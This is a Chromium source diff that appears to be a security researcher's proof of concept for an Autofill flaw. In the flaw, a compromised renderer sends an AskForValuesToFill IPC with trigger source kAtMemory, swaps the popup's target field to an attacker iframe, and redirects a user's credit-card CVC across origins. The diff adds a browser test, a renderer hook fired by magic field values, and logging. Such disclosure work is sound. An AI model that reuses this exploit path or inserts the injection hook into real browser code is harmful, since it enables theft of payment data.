diff --git a/chrome/browser/autofill/autofill_across_iframes_browsertest.cc b/chrome/browser/autofill/autofill_across_iframes_browsertest.cc
index ccf2831af27a9..17e441f74143c 100644
--- a/chrome/browser/autofill/autofill_across_iframes_browsertest.cc
+++ b/chrome/browser/autofill/autofill_across_iframes_browsertest.cc
@@ -30,6 +30,7 @@
#include "components/autofill/core/browser/foundations/browser_autofill_manager.h"
#include "components/autofill/core/browser/foundations/browser_autofill_manager_test_api.h"
#include "components/autofill/core/browser/foundations/test_autofill_manager_waiter.h"
+#include "components/autofill/core/browser/ui/autofill_external_delegate.h"
#include "components/autofill/core/browser/test_utils/autofill_test_utils.h"
#include "components/autofill/core/common/autofill_constants.h"
#include "components/autofill/core/common/autofill_features.h"
@@ -908,5 +909,141 @@ IN_PROC_BROWSER_TEST_P(AutofillAcrossIframesTest_Submission,
HasValue(kExp), HasValue(kCvc)))));
}
+// =====================================================================
+// POC: Demonstrates that a (compromised) renderer can send
+// AskForValuesToFill(..., kAtMemory) to silently swap
+// AutofillExternalDelegate::query_field_ to its own origin while a
+// credit-card popup is showing for a cross-origin field, redirecting the
+// user's fill to the attacker.
+//
+// Topology: A = a.com (main frame, "attacker") owns a
)");
+ return NavigateToUrl("/", /*num_fields=*/5);
+ }
+
+ void AskForValuesToFillAndWait(
+ const FormData& form,
+ const FieldGlobalId& field_id,
+ AutofillSuggestionTriggerSource trigger_source) {
+ TestAutofillManager& manager = main_autofill_manager();
+ TestAutofillManagerWaiter waiter(
+ manager, {AutofillManagerEvent::kAskForValuesToFill});
+ manager.OnAskForValuesToFill(form, field_id, gfx::Rect(), trigger_source,
+ /*password_request=*/std::nullopt);
+ ASSERT_TRUE(waiter.Wait(1));
+ }
+};
+
+// Baseline (no attack): user triggers Autofill from M's cc-number field.
+// IsSafeToFill blocks A's sensitive fields (cc-number, cc-csc).
+IN_PROC_BROWSER_TEST_F(AutofillAcrossIframesTest_AtMemorySwap,
+ Baseline_TriggerFromMerchant_AttackerSensitiveBlocked) {
+ const FormStructure* form = LoadAttackerEmbedsMerchant();
+ ASSERT_TRUE(form);
+ ASSERT_EQ(5u, form->field_count());
+ // Sanity: field 4 is M's (b.com), fields 0..3 are A's (a.com).
+ ASSERT_NE(form->field(4)->origin(), form->field(0)->origin());
+ // Trigger from M:cc-number (field 4). A:cc-number and A:cc-csc must be "".
+ EXPECT_THAT(FillForm(*form, *form->field(4)),
+ ElementsAre(kNameFull, /*A:cc-number=*/"", kExp,
+ /*A:cc-csc=*/"", /*M:cc-number=*/kNumber));
+}
+
+// Vulnerability: a compromised renderer in A swaps query_field_ via the
+// kAtMemory + kDisabledNotEligible early-return path, redirecting the user's
+// credit-card fill (which the user believes is going into M's field) into
+// A's cc-number / cc-csc sink fields.
+IN_PROC_BROWSER_TEST_F(AutofillAcrossIframesTest_AtMemorySwap,
+ Vuln_kAtMemorySwap_RedirectsCardFillToAttacker) {
+ const FormStructure* form = LoadAttackerEmbedsMerchant();
+ ASSERT_TRUE(form);
+ ASSERT_EQ(5u, form->field_count());
+
+ TestAutofillManager& manager = main_autofill_manager();
+ AutofillExternalDelegate* delegate = test_api(manager).external_delegate();
+ ASSERT_TRUE(delegate);
+
+ const url::Origin origin_a = form->field(0)->origin();
+ const url::Origin origin_m = form->field(4)->origin();
+ ASSERT_NE(origin_a, origin_m);
+
+ const FormData browser_form = form->ToFormData();
+
+ // Step 1: User clicks M's cc-number field. The browser routes both M's and
+ // A's queries to the SAME root AutofillManager (this one), so this sets the
+ // shared external_delegate_->query_field_ = M:cc-number. In a real run the
+ // popup with the user's stored cards is now showing over M's field.
+ AskForValuesToFillAndWait(
+ browser_form, form->field(4)->global_id(),
+ AutofillSuggestionTriggerSource::kFormControlElementClicked);
+ ASSERT_EQ(delegate->query_field().origin(), origin_m);
+
+ // Step 2: Compromised renderer in A sends AskForValuesToFill(..., kAtMemory)
+ // for one of its own fields. The browser-side bad_message check accepts
+ // kAtMemory (only kPlusAddressUpdatedInBrowserProcess is rejected — proven
+ // separately by the renderer-injection POC). OnAskForValuesToFillImpl calls
+ // OnQuery() — overwriting query_field_ — and then takes the
+ // kDisabledNotEligible bare `return` (PersonalContext is
+ // FEATURE_DISABLED_BY_DEFAULT), so the popup is NOT hidden.
+ AskForValuesToFillAndWait(browser_form, form->field(0)->global_id(),
+ AutofillSuggestionTriggerSource::kAtMemory);
+
+ // The swap: query_field_ now belongs to the attacker.
+ EXPECT_EQ(delegate->query_field().origin(), origin_a)
+ << "query_field_.origin should have been swapped from M to A";
+ EXPECT_EQ(delegate->query_field().global_id(), form->field(0)->global_id());
+
+ // Step 3: User clicks the card row in the (still-visible) popup.
+ // AutofillExternalDelegate::DidAcceptSuggestion -> AutofillForm reads the
+ // SWAPPED query_form_/query_field_ and calls exactly this:
+ CreditCard card;
+ test::SetCreditCardInfo(&card, kNameFull, kNumber, kExpMonth, kExpYear, "",
+ base::ASCIIToUTF16(std::string_view(kCvc)));
+ manager.FillOrPreviewForm(mojom::ActionPersistence::kFill,
+ delegate->query_form(),
+ delegate->query_field().global_id(), &card,
+ AutofillTriggerSource::kPopup,
+ /*blocked_fields=*/{});
+
+ // Step 4: FormFiller passes triggered_origin = query_field_.origin() = A,
+ // so FormForest::IsSafeToFill clause-2 now marks every origin-A field safe
+ // for ANY type. A's cc-csc (CREDIT_CARD_VERIFICATION_CODE — sensitive,
+ // blocked in the baseline) receives the CVC. M's cc-number (origin M ≠ A,
+ // M ≠ main) stays empty.
+ //
+ // (FormFiller's field-type rationalisation reclassifies one of the two
+ // duplicate cc-number inputs, so A:cc-number happens to come back empty in
+ // this minimal page; that is a presentation-layer heuristic. The
+ // *security-relevant* delta vs the baseline is A:cc-csc, which IsSafeToFill
+ // — Chrome's compromised-renderer defence — was supposed to block.)
+ std::vector values =
+ AllFieldValues(web_contents(), browser_form);
+ ASSERT_EQ(5u, values.size());
+ // *** This is the cross-origin data leak ***
+ EXPECT_EQ(values[3], kCvc)
+ << "A's cc-csc field received the CVC across origins (was blocked "
+ "in the baseline)";
+ EXPECT_EQ(values[4], "") << "M's cc-number stays empty";
+ EXPECT_THAT(values, ElementsAre(kNameFull, /*A:cc-number*/ testing::_, kExp,
+ /*A:cc-csc=*/kCvc, /*M:cc-number=*/""));
+}
+
} // namespace
} // namespace autofill
diff --git a/components/autofill/content/browser/content_autofill_driver.cc b/components/autofill/content/browser/content_autofill_driver.cc
index 3f2801bfd4174..3e2fa27c9112b 100644
--- a/components/autofill/content/browser/content_autofill_driver.cc
+++ b/components/autofill/content/browser/content_autofill_driver.cc
@@ -635,6 +635,17 @@ void ContentAutofillDriver::AskForValuesToFill(
const gfx::Rect& caret_bounds,
AutofillSuggestionTriggerSource trigger_source,
const std::optional& password_request) {
+ // [POC] Instrumentation: log the renderer IPC entry. Note that this is the
+ // mojom::AutofillDriver implementation; this call came over Mojo from the
+ // renderer process. CheckSingleValidTriggerSource() (in CheckArgs) only
+ // rejects kPlusAddressUpdatedInBrowserProcess, so kAtMemory is accepted.
+ LOG(ERROR) << "[POC][browser] ContentAutofillDriver::AskForValuesToFill "
+ "(Mojo IPC from renderer) origin="
+ << render_frame_host_->GetLastCommittedOrigin().Serialize()
+ << " trigger_source=" << static_cast(trigger_source)
+ << (trigger_source == AutofillSuggestionTriggerSource::kAtMemory
+ ? " [kAtMemory — passes CheckSingleValidTriggerSource]"
+ : "");
RouteToManager(*this, router(), &AutofillDriverRouter::AskForValuesToFill,
&AutofillManager::OnAskForValuesToFill, form, field_id,
caret_bounds, trigger_source, password_request);
diff --git a/components/autofill/content/renderer/autofill_agent.cc b/components/autofill/content/renderer/autofill_agent.cc
index b7bd6ea801437..2e33a230c7209 100644
--- a/components/autofill/content/renderer/autofill_agent.cc
+++ b/components/autofill/content/renderer/autofill_agent.cc
@@ -2187,6 +2187,50 @@ void AutofillAgent::JavaScriptChangedValue(WebFormControlElement element,
if (!element.IsConnected()) {
return;
}
+ // ====================================================================
+ // POC INJECTION: Simulate a compromised renderer.
+ // When JS sets a field's value to a magic string, send AskForValuesToFill
+ // directly over the existing AutofillDriver Mojo pipe, WITHOUT any
+ // focus/blur/HidePopup IPC. A real compromised renderer would do exactly
+ // this from shellcode.
+ // "POC_FIRE_ATMEMORY" -> trigger_source = kAtMemory (the attack IPC)
+ // "POC_FIRE_NORMAL" -> trigger_source = kFormControlElementClicked
+ // (test convenience: simulates the user's click in
+ // the merchant frame so the run can be automated)
+ // ====================================================================
+ {
+ const std::string poc_val = element.Value().Utf8();
+ std::optional poc_ts;
+ if (poc_val == "POC_FIRE_ATMEMORY") {
+ poc_ts = AutofillSuggestionTriggerSource::kAtMemory;
+ } else if (poc_val == "POC_FIRE_NORMAL") {
+ poc_ts = AutofillSuggestionTriggerSource::kFormControlElementClicked;
+ }
+ if (poc_ts) {
+ if (std::optional form_and_field =
+ form_util::FindFormAndFieldForFormControlElement(
+ element, field_data_manager(),
+ GetCallTimerState(kJavaScriptChangedValue),
+ button_titles_cache(),
+ /*form_cache=*/{})) {
+ auto& [poc_form, poc_field] = *form_and_field;
+ if (auto* drv = unsafe_autofill_driver()) {
+ LOG(ERROR)
+ << "[POC][renderer] frame "
+ << (GetDocument() ? GetDocument().Url().GetString().Utf8() : "?")
+ << " sending AskForValuesToFill(trigger_source="
+ << static_cast(*poc_ts) << ") for field renderer_id="
+ << poc_field->renderer_id().value()
+ << " (no focus/HidePopup sent)";
+ drv->AskForValuesToFill(poc_form, poc_field->renderer_id(),
+ /*caret_bounds=*/gfx::Rect(), *poc_ts,
+ /*password_request=*/std::nullopt);
+ }
+ }
+ return;
+ }
+ }
+ // ====================================================================
form_tracker_->OnJavaScriptChangedValue(element);
if (!was_autofilled) {
diff --git a/components/autofill/core/browser/filling/form_filler.cc b/components/autofill/core/browser/filling/form_filler.cc
index 0b021f34deade..d389a25d2d8a7 100644
--- a/components/autofill/core/browser/filling/form_filler.cc
+++ b/components/autofill/core/browser/filling/form_filler.cc
@@ -22,6 +22,7 @@
#include "base/check.h"
#include "base/check_deref.h"
#include "base/check_op.h"
+#include "base/logging.h"
#include "base/containers/flat_map.h"
#include "base/containers/flat_set.h"
#include "base/containers/map_util.h"
@@ -1074,6 +1075,14 @@ void FormFiller::FillOrPreviewForm(
return !skip_reasons[field.global_id()].empty() ||
!form_structure.GetFieldById(field.global_id());
});
+ // [POC] Instrumentation: log the triggered_origin that IsSafeToFill will
+ // use. If the kAtMemory swap succeeded, this is the ATTACKER's origin even
+ // though the user accepted a popup anchored to the merchant's field.
+ LOG(ERROR) << "[POC][browser] FormFiller::FillOrPreviewForm: "
+ "ApplyFormAction triggered_origin="
+ << autofill_trigger_field.origin().Serialize()
+ << " (fields with this origin receive ALL data including "
+ "cc-number/cc-csc via IsSafeToFill clause-2)";
base::flat_set safe_filled_field_ids =
manager_->driver().ApplyFormAction(
mojom::FormActionType::kFill, action_persistence, result_fields,
diff --git a/components/autofill/core/browser/foundations/browser_autofill_manager.cc b/components/autofill/core/browser/foundations/browser_autofill_manager.cc
index a9504feed8a5a..bee04b998c436 100644
--- a/components/autofill/core/browser/foundations/browser_autofill_manager.cc
+++ b/components/autofill/core/browser/foundations/browser_autofill_manager.cc
@@ -26,6 +26,7 @@
#include "base/check.h"
#include "base/check_deref.h"
#include "base/check_op.h"
+#include "base/logging.h"
#include "base/containers/flat_map.h"
#include "base/containers/flat_set.h"
#include "base/containers/map_util.h"
@@ -1195,6 +1196,17 @@ void BrowserAutofillManager::OnAskForValuesToFillImpl(
if (client().GetPersonalContextEnablementState() ==
personal_context::PersonalContextEnablementState::
kDisabledNotEligible) {
+ // [POC] Instrumentation: this is the vulnerable bare-return. OnQuery()
+ // already overwrote external_delegate_->query_field_ above, but we
+ // neither hide the popup nor restore the previous query_field_.
+ LOG(ERROR) << "[POC][browser] BrowserAutofillManager: kAtMemory + "
+ "kDisabledNotEligible early-return WITHOUT hiding popup. "
+ "external_delegate_->query_field_ now has origin="
+ << field.origin().Serialize()
+ << " field_id=" << field_id.frame_token.ToString() << "/"
+ << field_id.renderer_id.value()
+ << " — any open Autofill popup will fill into THIS origin "
+ "on accept.";
return;
}
// Show empty suggestions with a search bar to start the flow.
diff --git a/components/autofill/core/browser/ui/autofill_external_delegate.cc b/components/autofill/core/browser/ui/autofill_external_delegate.cc
index 4ef17f89f69ca..6daa34351f18a 100644
--- a/components/autofill/core/browser/ui/autofill_external_delegate.cc
+++ b/components/autofill/core/browser/ui/autofill_external_delegate.cc
@@ -17,6 +17,7 @@
#include "base/check.h"
#include "base/check_deref.h"
+#include "base/logging.h"
#include "base/containers/flat_set.h"
#include "base/containers/span.h"
#include "base/containers/to_vector.h"
@@ -333,6 +334,13 @@ void AutofillExternalDelegate::OnQuery(
const gfx::Rect& caret_bounds,
AutofillSuggestionTriggerSource trigger_source,
bool update_datalist) {
+ // [POC] Instrumentation: log origin swap of query_field_.
+ LOG(ERROR) << "[POC][browser] AutofillExternalDelegate::OnQuery: "
+ "query_field_.origin "
+ << query_field_.origin().Serialize() << " -> "
+ << field.origin().Serialize()
+ << " (trigger_source=" << static_cast(trigger_source)
+ << ", host_frame=" << field.host_frame().ToString() << ")";
query_form_ = form;
query_field_ = field;
caret_bounds_ = caret_bounds;
diff --git a/components/autofill/core/browser/ui/autofill_external_delegate.h b/components/autofill/core/browser/ui/autofill_external_delegate.h
index 78c4e91b8cfba..be5ce70b0c361 100644
--- a/components/autofill/core/browser/ui/autofill_external_delegate.h
+++ b/components/autofill/core/browser/ui/autofill_external_delegate.h
@@ -137,6 +137,8 @@ class AutofillExternalDelegate : public AutofillSuggestionDelegate {
void DidEndTextFieldEditing();
const FormData& query_form() const { return query_form_; }
+ // [POC] Exposed for the browser test demonstrating the kAtMemory swap.
+ const FormFieldData& query_field() const { return query_field_; }
void AttemptToDisplayAutofillSuggestionsForTest(
std::vector suggestions,